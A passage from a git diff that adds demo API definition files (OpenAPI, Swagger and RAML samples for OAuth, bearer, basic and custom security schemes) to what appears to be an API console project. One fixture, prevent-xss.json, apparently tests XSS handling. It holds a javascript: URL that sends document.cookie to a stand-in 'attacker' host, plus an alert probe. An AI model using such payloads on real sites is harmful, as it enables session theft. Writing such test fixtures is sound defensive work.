'#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + post: + description: Creates a new pet in the store. Duplicates are allowed + operationId: addPet + parameters: + - name: pet + in: body + description: Pet to add to the store + required: true + schema: + $ref: '#/definitions/NewPet' + responses: + "200": + description: pet response + schema: + $ref: '#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + /pets/{id}: + get: + description: Returns a user based on a single ID, if the user does not have access to the pet + operationId: find pet by id + parameters: + - name: id + in: path + description: ID of pet to fetch + required: true + type: integer + format: int64 + responses: + "200": + description: pet response + schema: + $ref: '#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + delete: + description: deletes a single pet based on the ID supplied + operationId: deletePet + parameters: + - name: id + in: path + description: ID of pet to delete + required: true + type: integer + format: int64 + responses: + "204": + description: pet deleted + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' +definitions: + Pet: + allOf: + - $ref: '#/definitions/NewPet' + - required: + - id + properties: + id: + type: integer + format: int64 + + NewPet: + required: + - name + properties: + name: + type: string + tag: + type: string + + Error: + required: + - code + - message + properties: + code: + type: integer + format: int32 + message: + type: string \ No newline at end of file diff --git a/demo/apis/oas-api/read-only-properties.yaml b/demo/apis/oas-api/read-only-properties.yaml new file mode 100644 index 0000000..736547a --- /dev/null +++ b/demo/apis/oas-api/read-only-properties.yaml @@ -0,0 +1,42 @@ +openapi: '3.0.2' +info: + title: Read Only Properties API + version: '1.0' + +components: + schemas: + Article: + description: Representation of an article with title and body in CommonMark format. + type: object + properties: + id: + type: string + description: The unique ID of this article, generated by the API implementation upon creation of the article. + readOnly: true + title: + description: The title of the article, in CommonMark format. + type: string + minLength: 3 + +paths: + /default: + description: A default path to the API + get: + summary: "A get method" + responses: + 200: + description: Successful response + post: + summary: Add something + requestBody: + content: # Response body + application/json: # Media type + schema: + $ref: "#/components/schemas/Article" + responses: + 201: + description: Successful creation + content: + appliication/json: + schema: + $ref: "#/components/schemas/Article" diff --git a/demo/apis/oas-bearer/oas-bearer.yaml b/demo/apis/oas-bearer/oas-bearer.yaml new file mode 100644 index 0000000..8bfb13c --- /dev/null +++ b/demo/apis/oas-bearer/oas-bearer.yaml @@ -0,0 +1,45 @@ +openapi: 3.0.0 + +info: + version: 1.0.0 + title: OAS Bearer auth API + +servers: + - url: https://{customerId}.saas-app.com:{port}/v2 + variables: + customerId: + default: demo + description: Customer ID assigned by the service provider + port: + enum: + - '443' + - '8443' + default: '443' + +components: + securitySchemes: + bearerAuth: + type: http + scheme: bearer + bearerFormat: JWT + basicAuth: + type: http + scheme: basic + +paths: + /bearer: + get: + summary: Requires bearer token + security: + - bearerAuth: [] + responses: + default: + description: Unexpected error + /basic: + get: + summary: Requires basic auth + security: + - basicAuth: [] + responses: + default: + description: Unexpected error diff --git a/demo/apis/oas-callbacks/oas-callbacks.yaml b/demo/apis/oas-callbacks/oas-callbacks.yaml new file mode 100644 index 0000000..ed41dae --- /dev/null +++ b/demo/apis/oas-callbacks/oas-callbacks.yaml @@ -0,0 +1,150 @@ +openapi: 3.0.0 + +info: + version: 1.0.0 + title: OAS Bearer auth API + +servers: + - url: https://{customerId}.saas-app.com:{port}/v2 + variables: + customerId: + default: demo + description: Customer ID assigned by the service provider + port: + enum: + - '443' + - '8443' + default: '443' + +components: + requestBodies: + callbackMessage1: + description: Callback message `1` + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/Clb1' + callbackMessage2: + description: Callback message `2` + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/Clb2' + callbackMessage3: + description: Callback message `3` + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/Clb3' + schemas: + Clb1: + title: Event 1 + type: object + properties: + text: + type: string + description: Message text + Clb2: + title: Event 2 + type: object + properties: + productId: + type: string + description: Order product id + Clb3: + title: Event 3 + type: object + properties: + eventId: + type: string + description: Event internal ID + triggerAuthor: + type: string + description: A person triggered the event + paymentRequest: + title: Payment + type: object + properties: + token: + type: string + description: Payment token generated for this request + amount: + type: number + description: The payment amount. +paths: + /subscribe: + post: + operationId: subscribeOperation + requestBody: + content: + application/json: + schema: + type: object + properties: + inProgressUrl: + type: string + failedUrl: + type: string + successUrl: + type: string + responses: + '200': + description: OK + links: + unsubscribeOp: + operationId: unsubscribeOperation + parameters: + Id: $response.body#/subscriberId + otherOp: + parameters: + one: $response.body#/one + two: $response.body#/two + 402: + description: Not OK. Payment is required + content: + application/json: + schema: + $ref: '#/components/schemas/paymentRequest' + links: + paymentUrl: + parameters: + paymentUrl: $response.body#/info.paymentUri + paymentToken: $response.body#/info.token + callbacks: + inProgress: + '{$request.body#/inProgressUrl}': + post: + requestBody: + $ref: '#/components/requestBodies/callbackMessage1' + responses: + '200': + description: OK + '{$request.body#/failedUrl}': + post: + requestBody: + $ref: '#/components/requestBodies/callbackMessage2' + responses: + '200': + description: OK + '{$request.body#/successUrl}': + post: + requestBody: + $ref: '#/components/requestBodies/callbackMessage3' + responses: + '200': + description: OK + /unsubscribe: + post: + operationId: unsubscribeOperation + parameters: + - in: query + name: Id + required: true + schema: + type: string + responses: + '200': + description: OK diff --git a/demo/apis/oauth-flows/oauth-flows.yaml b/demo/apis/oauth-flows/oauth-flows.yaml new file mode 100644 index 0000000..1463be6 --- /dev/null +++ b/demo/apis/oauth-flows/oauth-flows.yaml @@ -0,0 +1,61 @@ +openapi: 3.0.0 + +info: + version: 1.0.0 + title: OAS OAuth flows API + +servers: + - url: https://{customerId}.saas-app.com:{port}/v2 + variables: + customerId: + default: demo + description: Customer ID assigned by the service provider + port: + enum: + - '443' + - '8443' + default: '443' + +components: + securitySchemes: + oAuthSample: + type: oauth2 + description: This API uses OAuth 2 with the implicit grant flow. [More info](https://api.example.com/docs/auth) + flows: + implicit: + authorizationUrl: https://api.example.com/oauth2/authorize + scopes: + read_pets: read your pets + write_pets: modify pets in your account + authorizationCode: + authorizationUrl: /oauth2/authorize + tokenUrl: /oauth2/token + refreshUrl: /oauth2/refresh + scopes: + all: full access + password: + tokenUrl: /oauth2/token-password + refreshUrl: /oauth2/refresh-password + scopes: + read_pets: read your pets + clientCredentials: + tokenUrl: /oauth2/token-client + refreshUrl: /oauth2/refresh-client + scopes: {} + +security: + - oAuthSample: + - write_pets + - read_pets + +paths: + /pets: + patch: + summary: Add a new pet + security: + - oAuthSample: + - write_pets + - read_pets + responses: + default: + description: Unexpected error diff --git a/demo/apis/oauth-pkce/oauth-2-pkce.raml b/demo/apis/oauth-pkce/oauth-2-pkce.raml new file mode 100644 index 0000000..2a31aba --- /dev/null +++ b/demo/apis/oauth-pkce/oauth-2-pkce.raml @@ -0,0 +1,33 @@ +#%RAML 1.0 AnnotationTypeDeclaration + +displayName: OAuth 2.0 PKCE extension +allowedTargets: [ SecuritySchemeSettings ] +type: boolean + +description: | + OAuth 2 has standardized extension for the "code" grant type, PKCE, or Proof Key for Code Exchange + that is not currently supported in RAML. This annotation adds support for Anypoint products to use + PKCE extension when performing the authorization. + + ## Annotation Target + The [annotation target](https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#annotation-targets) for those annotations is `SecuritySchemeSettings`. + You can only apply it to Security Scheme `settings` property. + + ## Example + ```yaml + annotationTypes: + customSettings: !include oauth-2-pkce.raml + securitySchemes: + oauth2: + type: OAuth 2.0 + describedBy: + headers: + Authorization: + example: "Bearer token" + settings: + (pkce): true + accessTokenUri: https://auth.domain.com/authorize + authorizationUri: https://auth.domain.com/token + authorizationGrants: [implicit] + scopes: profile + ``` \ No newline at end of file diff --git a/demo/apis/oauth-pkce/oauth-pkce.raml b/demo/apis/oauth-pkce/oauth-pkce.raml new file mode 100644 index 0000000..2f02b7f --- /dev/null +++ b/demo/apis/oauth-pkce/oauth-pkce.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 +title: Authorization Test API +version: v1 +baseUri: http://api.domain.com/ + +annotationTypes: + pkce: !include oauth-2-pkce.raml + settings: !include ../secured-api/oauth-2-custom-settings.raml + +securitySchemes: + oauth2: + type: OAuth 2.0 + displayName: PKCE OAuth 2 + settings: + (pkce): true + (settings): + accessTokenUri: https://auth.domain.com/authorize + authorizationUri: https://auth.domain.com/token + scopes: profile +/pkce: + get: + securedBy: oauth2 diff --git a/demo/apis/oauth1-fragment/oauth1-fragment.raml b/demo/apis/oauth1-fragment/oauth1-fragment.raml new file mode 100644 index 0000000..ea25a6d --- /dev/null +++ b/demo/apis/oauth1-fragment/oauth1-fragment.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token diff --git a/demo/oauth2-fragment/oauth2-fragment.raml b/demo/apis/oauth2-fragment/oauth2-fragment.raml similarity index 100% rename from demo/oauth2-fragment/oauth2-fragment.raml rename to demo/apis/oauth2-fragment/oauth2-fragment.raml diff --git a/demo/apis/prevent-xss/prevent-xss.json b/demo/apis/prevent-xss/prevent-xss.json new file mode 100644 index 0000000..473b81a --- /dev/null +++ b/demo/apis/prevent-xss/prevent-xss.json @@ -0,0 +1,18 @@ +{ + "swagger": "2.0", + "info": { + "description": "test", + "version": "1.0.3", + "title": "Swagger", + "termsOfService": "http://swagger.io/terms/", + "contact" : { + "name" : "Wally", + "email" : "wallythebest@wally.com", + "url": "javascript:window.location='http://attacker/?cookie='+document.cookie" + }, + "license": { + "name": "I swear if you click below you will have the most amazing experience ever. I promise.", + "url": "javascript:alert(/XSS:/.source+document.domain)" + } + } + } \ No newline at end of file diff --git a/demo/apis/secured-api/oauth-2-custom-settings.raml b/demo/apis/secured-api/oauth-2-custom-settings.raml new file mode 100644 index 0000000..cc0da28 --- /dev/null +++ b/demo/apis/secured-api/oauth-2-custom-settings.raml @@ -0,0 +1,143 @@ +#%RAML 1.0 AnnotationTypeDeclaration +displayName: OAuth 2.0 custom settings +description: | + OAuth 2.0 allows to extend the specification with custom access token types, + endpoint parameters, grant types or response types. + This annotation allows you to annotate the `settings` property of OAuth 2.0 + security scheme type to inform applications about additional settings. + ## Use case + Let's say a authorization server requires to send a `resource` query parameter + with the authorization request. The `resource` parameter can be any string. + Currently it is impossible to define this property in RAML file. + Similar if the code exchange request requires to put the `resource` parameter + into the request body. + This annotation allows you to define this parameter with the RAML definition + and place the parameter in the right request. + ## Annotation Target + The [annotation target](https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#annotation-targets) + for those annotations is `SecuritySchemeSettings`. + You can only apply it to Security Scheme `settings` property. + ## Example + ```yaml + annotationTypes: + customSettings: !include oauth-2-custom-settings.raml + securitySchemes: + oauth2: + type: OAuth 2.0 + describedBy: + headers: + Authorization: + example: "Bearer token" + settings: + (customSettings): + authorizationGrants: [custom_grant] + ignoreDefaultGrants: + authorizationSettings: + queryParameters: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + headers: + x-auth-resource: + type: string + required: false + accessTokenSettings: + body: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + accessTokenUri: https://auth.domain.com/authorize + authorizationUri: https://auth.domain.com/token + authorizationGrants: [implicit] + scopes: profile + ``` + ## API console + This annotation is recognized and respected by API console. +allowedTargets: [ SecuritySchemeSettings ] +properties: + authorizationSettings: + description: | + Settings to be applied to the `authorizationUri` GET request. + Define any query parameters or headers that are required by your OAuth 2.0 + authorization server implementation. + This settings can be applied only to `token` and `code` requests + type: object + displayName: Authorization settings + required: false + properties: + queryParameters: + displayName: Authorization query parameters + description: | + Query parameters to be applied to the `authorizationUri`. + Use the same notation as RAML's `queryParameters`. + If you define a parameter that is already defined in OAuth 2.0 specification + (RFC6749) it should be ignored by the processor. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + accessTokenSettings: + displayName: Access token settings + description: | + Settings to be applied to the token endpoint POST request. + Define query parameters, headers or custom body paramaeters that should + be included into the request. + Note, as per RFC6749, the request content type is `application/x-www-form-urlencoded` + and the processor has to always assume this content type. + type: object + required: false + properties: + queryParameters: + displayName: Token query parameters + description: | + Query parameters to be applied to the `accessTokenUri`. + Use the same notation as RAML's `queryParameters`. + OAuth 2.0 specification does not specify any query parameters for this + type of request. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + headers: + displayName: Token request headers + description: | + Headers to be set on the token request. + Use the same notation as RAML's `headers`. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + body: + displayName: Token body parameters + description: | + Body parameters to be applied to the `accessTokenUri`. + Properties will be applied to the default set of OAuth 2.0 token request + parameters. + If you define a parameter that is already defined in OAuth 2.0 specification + (RFC6749) it should be ignored by the processor. + type: object + required: false + authorizationGrants: + type: string[] + displayName: Custom authorization grants + required: false + description: | + List of custom authorization granst supported by your OAuth 2.0 server + ignoreDefaultGrants: + type: nil + required: false + description: | + If set, the processor should not use any of the `authorizationGrants` + properties defined in the `settings` and should be replaced by + `authorizationGrants` defined in this annotation. + This can be used only if this annotation `authorizationGrants` is set. diff --git a/demo/apis/secured-api/oauth2-header-delivery.raml b/demo/apis/secured-api/oauth2-header-delivery.raml new file mode 100644 index 0000000..e4aaffd --- /dev/null +++ b/demo/apis/secured-api/oauth2-header-delivery.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] +describedBy: + headers: + token: + type: string + description: Apply access token here. diff --git a/demo/apis/secured-api/oauth2-no-delivery.raml b/demo/apis/secured-api/oauth2-no-delivery.raml new file mode 100644 index 0000000..ebc3f6d --- /dev/null +++ b/demo/apis/secured-api/oauth2-no-delivery.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] diff --git a/demo/apis/secured-api/oauth2-no-grants.raml b/demo/apis/secured-api/oauth2-no-grants.raml new file mode 100644 index 0000000..b3abf1b --- /dev/null +++ b/demo/apis/secured-api/oauth2-no-grants.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: This OAuth2 has no auth grants! +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/apis/secured-api/oauth2-pkce.raml b/demo/apis/secured-api/oauth2-pkce.raml new file mode 100644 index 0000000..4947750 --- /dev/null +++ b/demo/apis/secured-api/oauth2-pkce.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: This OAuth2 has PKCE annotation +settings: + (pkce): true + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/apis/secured-api/oauth2-query-delivery.raml b/demo/apis/secured-api/oauth2-query-delivery.raml new file mode 100644 index 0000000..4a5b7e2 --- /dev/null +++ b/demo/apis/secured-api/oauth2-query-delivery.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/apis/secured-api/oauth_1_0.raml b/demo/apis/secured-api/oauth_1_0.raml new file mode 100644 index 0000000..9aa9493 --- /dev/null +++ b/demo/apis/secured-api/oauth_1_0.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token + signatures: [RSA-SHA1, HMAC-SHA1] diff --git a/demo/apis/secured-api/oauth_1_0_no-settings.raml b/demo/apis/secured-api/oauth_1_0_no-settings.raml new file mode 100644 index 0000000..6cc6ffc --- /dev/null +++ b/demo/apis/secured-api/oauth_1_0_no-settings.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: This has no settings. diff --git a/demo/apis/secured-api/oauth_1_0_no-signature.raml b/demo/apis/secured-api/oauth_1_0_no-signature.raml new file mode 100644 index 0000000..ea25a6d --- /dev/null +++ b/demo/apis/secured-api/oauth_1_0_no-signature.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token diff --git a/demo/apis/secured-api/oauth_1_0_signature.raml b/demo/apis/secured-api/oauth_1_0_signature.raml new file mode 100644 index 0000000..b9d59d5 --- /dev/null +++ b/demo/apis/secured-api/oauth_1_0_signature.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token + signatures: [RSA-SHA1] diff --git a/demo/apis/secured-api/passthrough-querystring.raml b/demo/apis/secured-api/passthrough-querystring.raml new file mode 100644 index 0000000..0c26c60 --- /dev/null +++ b/demo/apis/secured-api/passthrough-querystring.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 SecurityScheme + +description: | + This API supports Pass Through Authentication. +type: Pass Through +describedBy: + queryString: + type: object + properties: + queryStringProperty1: + type: number + required: true + queryStringProperty2: + description: Random string + type: string + required: false diff --git a/demo/apis/secured-api/passthrough.raml b/demo/apis/secured-api/passthrough.raml new file mode 100644 index 0000000..383896c --- /dev/null +++ b/demo/apis/secured-api/passthrough.raml @@ -0,0 +1,24 @@ +#%RAML 1.0 SecurityScheme + +description: | + This API supports Pass Through Authentication. +type: Pass Through +describedBy: + queryParameters: + query: + type: string + example: my-value + description: | + This demonstrates how Pass Through authentication + works with `api-authorization-method` component. + debugTokenParam: + description: Select one of available values to run the request in the debug mode with selected level. + enum: [Info, Log, Warning, Error, Critical] + type: string + required: false + headers: + api_key: + type: string + pattern: "[0-9a-zA-Z\\.-]+" + description: | + This headers has pattern included in the definition. diff --git a/demo/apis/secured-api/secured-api.raml b/demo/apis/secured-api/secured-api.raml new file mode 100644 index 0000000..c624d2d --- /dev/null +++ b/demo/apis/secured-api/secured-api.raml @@ -0,0 +1,231 @@ +#%RAML 1.0 +title: Authorization Test API +version: v1 +baseUri: http://api.domain.com/ + +annotationTypes: + oauth-2-custom-settings: !include oauth-2-custom-settings.raml + +types: + apiTokens: # each is optional, not exclusive with anything + properties: + userToken: number + applicationToken?: number + +securitySchemes: + basic: + type: Basic Authentication + description: | + This API supports Basic Authentication. + digest: + description: | + This API supports DigestSecurityScheme Authentication. + type: Digest Authentication + passthrough: !include passthrough.raml + passthroughQueryString: !include passthrough-querystring.raml + custom_scheme: + description: | + A custom security scheme for authenticating requests. + type: x-custom + displayName: RAML's custom scheme + describedBy: + headers: + SpecialToken: + description: | + Used to send a custom token. + type: string + queryString: + type: apiTokens + examples: + first: + value: + userToken: 1234 + applicationToken: 5678 + second: + value: + start: 1239874566 + page-size: 987321456 + responses: + 401: + description: | + Bad token. + 403: + custom1: !include x-custom.raml + custom2: !include x-other.raml + custom3: !include x-query-string.raml + oauth2: + type: OAuth 2.0 + displayName: Regular OAuth 2.0 definition + settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. + headers: + Authorization: + type: string + oauth2grants: + type: OAuth 2.0 + displayName: Regular OAuth 2.0 definition + settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. + headers: + Authorization: + type: string + oauth2Annotation: + type: OAuth 2.0 + displayName: OAuth 2.0 with annotation + settings: + (oauth-2-custom-settings): + # ignoreDefaultGrants: + authorizationGrants: [annotated_custom_grant, annotated_custom_grant2] + authorizationSettings: + queryParameters: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + displayName: Hello query parameeter + default: default + examples: + named: named example value + otherExample: test example value + pattern: "[a-zA-Z]+" + maxLength: 12 + minLength: 3 + numericParam: + type: number + minimum: 10 + maximum: 20 + multipleOf: 2 + format: float + required: false + example: 22 + dateParam: + type: date-only + required: false + repeatableParam1: + type: string[] + required: false + repetableParam2: + type: array + items: integer + required: false + accessTokenSettings: + queryParameters: + queryTokenResource: string + detailedTokenResource: + type: number + description: some description + required: false + headers: + x-token-resource: + type: number + default: 123 + body: + bodyTokenResource: string + bodyDetailed: + type: boolean + required: true + displayName: Body detailed property + default: true + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: [authorization_code, password, client_credentials, implicit] + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. + oauth2queryDelivery: !include oauth2-query-delivery.raml + oauth2headerDelivery: !include oauth2-header-delivery.raml + oauth2noDelivery: !include oauth2-no-delivery.raml + oauth2noGrants: !include oauth2-no-grants.raml + oauth2pkce: !include oauth2-pkce.raml + oauth1: !include oauth_1_0.raml + oauth1signature: !include oauth_1_0_signature.raml + oauth1noSignature: !include oauth_1_0_no-signature.raml + oauth1noSettings: !include oauth_1_0_no-settings.raml +/basic: + get: + securedBy: basic +/digest: + get: + securedBy: digest +/passthrough: + get: + securedBy: passthrough +/passthrough-query-string: + get: + securedBy: passthroughQueryString +/custom-query-string: + get: + securedBy: custom_scheme +/custom1: + get: + securedBy: [custom1] +/custom2: + get: + securedBy: [custom2] +/custom3: + get: + securedBy: [custom3] +/oauth2: + post: + securedBy: [oauth2] +/oauth2-with-annotations: + get: + securedBy: [oauth2Annotation] +/oauth2-with-grant-list: + get: + securedBy: [oauth2grants] +/oauth2-query-delivery: + get: + securedBy: [oauth2queryDelivery] +/oauth2-header-delivery: + get: + securedBy: [oauth2headerDelivery] +/oauth2-no-delivery: + get: + securedBy: [oauth2noDelivery] +/oauth2-no-grants: + get: + securedBy: [oauth2noGrants] +/oauth2-pkce: + get: + securedBy: [oauth2pkce] +/oauth1: + get: + securedBy: [oauth1] +/oauth1-signature: + get: + securedBy: [oauth1signature] +/oauth1-nosignature: + get: + securedBy: [oauth1noSignature] +/oauth1-nosettings: + get: + securedBy: [oauth1noSettings] +/combo-types: + get: + securedBy: [basic, digest, passthroughQueryString, custom1, oauth2, oauth1] +/all-oauth2: + get: + securedBy: [oauth2, oauth2Annotation, oauth2grants, oauth2queryDelivery, oauth2headerDelivery, oauth2noDelivery, oauth2noGrants] +/nil-oauth2: + get: + securedBy: [null, oauth2] diff --git a/demo/apis/secured-api/x-custom.raml b/demo/apis/secured-api/x-custom.raml new file mode 100644 index 0000000..b76322d --- /dev/null +++ b/demo/apis/secured-api/x-custom.raml @@ -0,0 +1,33 @@ +#%RAML 1.0 SecurityScheme + +description: | + A custom security scheme for authenticating requests. + It allows to set `SpecialToken` header from the authorization panel. + The same header should be rendered in the headers editor with console using + RAML JS parser. + With `AMF` console this is separated information. + This scheme also sets `debugToken` and `booleanToken` query parameters. + Both are enums, however `booleanToken` can only have `true` and `false` + values. +type: x-my-custom +describedBy: + headers: + SpecialTokenHeader: + description: | + Used to send a custom token. + type: string + queryParameters: + debugTokenParam: + description: Select one of available values to run the request in the debug mode with selected level. + enum: [Info, Log, Warning, Error, Critical] + type: string + required: false + booleanTokenParam: + description: Just to test boolean values. + type: boolean + default: true + responses: + 401: + description: | + Bad token. + 403: diff --git a/demo/apis/secured-api/x-other.raml b/demo/apis/secured-api/x-other.raml new file mode 100644 index 0000000..45e4cb5 --- /dev/null +++ b/demo/apis/secured-api/x-other.raml @@ -0,0 +1,29 @@ +#%RAML 1.0 SecurityScheme + +description: | + Other custom security method for authorization. +type: x-custom +describedBy: + queryParameters: + apiUserIdParam: + description: | + Your api user ID. Some imaginary value. + type: number + required: true + apiNonceParam: + description: Random string + type: string + responses: + 401: + description: | + Bad token autorization. + body: + application/json: + type: object + properties: + error: + type: boolean + description: Always true. Indicates that the response is errord. + message: + type: string + description: Human readable message describing the error. diff --git a/demo/apis/secured-api/x-query-string.raml b/demo/apis/secured-api/x-query-string.raml new file mode 100644 index 0000000..438b230 --- /dev/null +++ b/demo/apis/secured-api/x-query-string.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 SecurityScheme + +description: | + Tests for queryString RAML's property +type: x-custom +describedBy: + queryString: + type: object + properties: + queryStringProperty1: + type: number + required: true + queryStringProperty2: + description: Random string + type: string + required: false diff --git a/demo/apis/secured-unions/secured-unions.yaml b/demo/apis/secured-unions/secured-unions.yaml new file mode 100644 index 0000000..f0f7da1 --- /dev/null +++ b/demo/apis/secured-unions/secured-unions.yaml @@ -0,0 +1,87 @@ +openapi: 3.0.0 + +info: + version: 1.0.0 + title: OAS Multi combinations + +components: + securitySchemes: + BasicAuth: + type: http + scheme: basic + BearerAuth: + type: http + scheme: bearer + ApiKeyAuth: + type: apiKey + in: header + name: X-API-Key + ApiKeyQuery: + type: apiKey + in: query + name: key + OpenID: + type: openIdConnect + openIdConnectUrl: https://example.com/.well-known/openid-configuration + OAuth2: + type: oauth2 + flows: + authorizationCode: + authorizationUrl: https://example.com/oauth/authorize + tokenUrl: https://example.com/oauth/token + scopes: + read: Grants read access + write: Grants write access + admin: Grants access to admin operations + +paths: + /single: + get: + security: + - ApiKeyQuery: [] + responses: + default: + description: Unexpected error + /api-keys-union: + get: + security: + - ApiKeyQuery: [] + ApiKeyAuth: [] + responses: + default: + description: Unexpected error + /and-and-or-union: + get: + security: + - ApiKeyQuery: [] + ApiKeyAuth: [] + - BasicAuth: [] + responses: + default: + description: Unexpected error + /cross-union: + get: + security: + - ApiKeyQuery: [] + ApiKeyAuth: [] + - BasicAuth: [] + OAuth2: [] + - BearerAuth: [] + responses: + default: + description: Unexpected error + /multi-auth-header: + get: + security: + - BasicAuth: [] + BearerAuth: [] + responses: + default: + description: Unexpected error + post: + security: + - BearerAuth: [] + BasicAuth: [] + responses: + default: + description: Unexpected error diff --git a/demo/apis/steveTest-1/exchange.json b/demo/apis/steveTest-1/exchange.json new file mode 100755 index 0000000..c68d564 --- /dev/null +++ b/demo/apis/steveTest-1/exchange.json @@ -0,0 +1,6 @@ +{ + "main": "stevetest.json", + "name": "steveTest", + "classifier": "oas", + "tags": [] +} \ No newline at end of file diff --git a/demo/apis/steveTest-1/schemas/schema-termsConditionsAccept.json b/demo/apis/steveTest-1/schemas/schema-termsConditionsAccept.json new file mode 100755 index 0000000..3007c94 --- /dev/null +++ b/demo/apis/steveTest-1/schemas/schema-termsConditionsAccept.json @@ -0,0 +1,43 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema", + "id": "http://example.com/example.json", + "type": "object", + "required": [ + "logonID", + "site", + "siteRole", + "acceptedDate" + ], + "properties": { + "logonID": { + "id": "#/properties/logonID", + "type": "string", + "description": "OneAmerica user's application logonID.", + "example": "indybrad" + }, + "site": { + "id": "#/properties/site", + "type": "string", + "description": "OneAmerica web application identifier within which user is accepting terms.", + "example": "ACCTSERV" + }, + "siteRole": { + "id": "#/properties/siteRole", + "type": "string", + "description": "OneAmerica user's role within the web application.", + "example": "PARTCPNT" + }, + "impersonationID": { + "id": "#/properties/impersonationID", + "type": "string", + "description": "OneAmerica user account that is accepting on behalf of the actual OneAmerica user.", + "example": "xyz123" + }, + "acceptedDate": { + "id": "#/properties/acceptedDate", + "type": "string", + "description": "Datetime of acceptance of terms by the OneAmerica user.", + "example": "2018-01-01T12:00:00.000" + } + } +} \ No newline at end of file diff --git a/demo/apis/steveTest-1/schemas_response/schema-termsConditionsAccept-Get.json b/demo/apis/steveTest-1/schemas_response/schema-termsConditionsAccept-Get.json new file mode 100755 index 0000000..1334ff6 --- /dev/null +++ b/demo/apis/steveTest-1/schemas_response/schema-termsConditionsAccept-Get.json @@ -0,0 +1,24 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema", + "id": "http://example.com/example.json", + "type": "object", + "default": {}, + "additionalProperties": true, + "properties": { + "logonID": { + "id": "#/properties/logonID", + "type": "string", + "description": "OneAmerica user's application logonID." + }, + "accepted": { + "id": "#/properties/accepted", + "type": "boolean", + "description": "True/False indicator on whether legal terms were accepted." + }, + "acceptedDate": { + "id": "#/properties/acceptedDate", + "type": "string", + "description": "Date of acceptance of legal terms." + } + } +} \ No newline at end of file diff --git a/demo/apis/steveTest-1/stevetest.json b/demo/apis/steveTest-1/stevetest.json new file mode 100755 index 0000000..c0a26a5 --- /dev/null +++ b/demo/apis/steveTest-1/stevetest.json @@ -0,0 +1,167 @@ +{ + "swagger": "2.0", + "info": { + "title": "Legal System Service v1", + "description": "This is the suite of Participant Legal services.", + "version": "1.0.0", + "termsOfService": "http://www.oneamerica.com", + "contact": { + "email": "jedimaster@oneamerica.com" + }, + "license": { + "name": "OneAmerica 1.0" + } + }, + "host": "esb.oneamerica.com:61006", + "basePath": "/api", + 